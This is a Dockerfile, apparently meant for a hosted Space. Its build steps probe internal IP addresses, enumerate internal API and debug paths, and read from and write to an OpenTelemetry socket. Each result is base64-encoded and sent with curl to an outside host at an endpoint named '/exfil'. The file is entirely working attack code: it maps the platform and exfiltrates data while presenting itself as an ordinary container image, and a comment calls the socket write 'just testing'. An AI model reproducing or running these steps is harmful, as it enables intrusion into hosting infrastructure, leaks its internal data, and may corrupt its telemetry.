FROM alpine:3.19

RUN apk add --no-cache curl bash 2>/dev/null

# Test 1: Probe ARP neighbor 10.112.17.116
RUN RESULT=$(curl -sk --connect-timeout 3 "http://10.112.17.116/" 2>/dev/null | head -c 500) ; \
    B64=$(printf "RESULT:%s" "${RESULT:-NORESPONSE}" | base64 | tr -d "\n") ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=arp_neighbor_80&d=${B64}" || true

RUN RESULT=$(curl -sk --connect-timeout 3 "https://10.112.17.116/" 2>/dev/null | head -c 500) ; \
    B64=$(printf "RESULT:%s" "${RESULT:-NORESPONSE}" | base64 | tr -d "\n") ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=arp_neighbor_443&d=${B64}" || true

# Test 2: Follow redirect on 10.0.249.10 (with -L)
RUN RESULT=$(curl -skL --connect-timeout 3 "http://10.0.249.10/" 2>/dev/null | head -c 600) ; \
    B64=$(printf "RESULT:%s" "${RESULT:-NORESPONSE}" | base64 | tr -d "\n") ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=internal_10_follow&d=${B64}" || true

# Test 3: Known HF internal API paths on 10.0.249.17
RUN for PATH in /health /api/v1/repos /api/v1/users /api/v1/orgs /api/v1/models /metrics /debug/pprof/; do \
      RESULT=$(curl -sk --connect-timeout 2 "http://10.0.249.17${PATH}" 2>/dev/null | head -c 200) ; \
      if [ -n "$RESULT" ]; then \
        B64=$(printf "PATH:%s STATUS:%s BODY:%s" "$PATH" "" "$RESULT" | base64 | tr -d "\n") ; \
        curl -sk "https://xitro-env-probe.hf.space/exfil?src=internal17_api&d=${B64}" || true ; \
      fi ; \
    done

# Test 4: OTel gRPC socket — try to read any data from it
RUN B64=$(dd if=/dev/otel-grpc.sock bs=1 count=200 2>/dev/null | base64 | tr -d "\n") ; \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=otel_sock_read&d=${B64:-EMPTY}" || true

# Test 5: write OTel span to the socket and see if it corrupts telemetry
# Note: this is just testing, not writing malicious data
RUN printf "\x00\x00\x00\x00\x00" > /dev/otel-grpc.sock 2>/dev/null && \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=otel_write&d=SUCCESS" || \
    curl -sk "https://xitro-env-probe.hf.space/exfil?src=otel_write&d=BLOCKED"

EXPOSE 7860
CMD ["sh", "-c", "while true; do sleep 60; done"]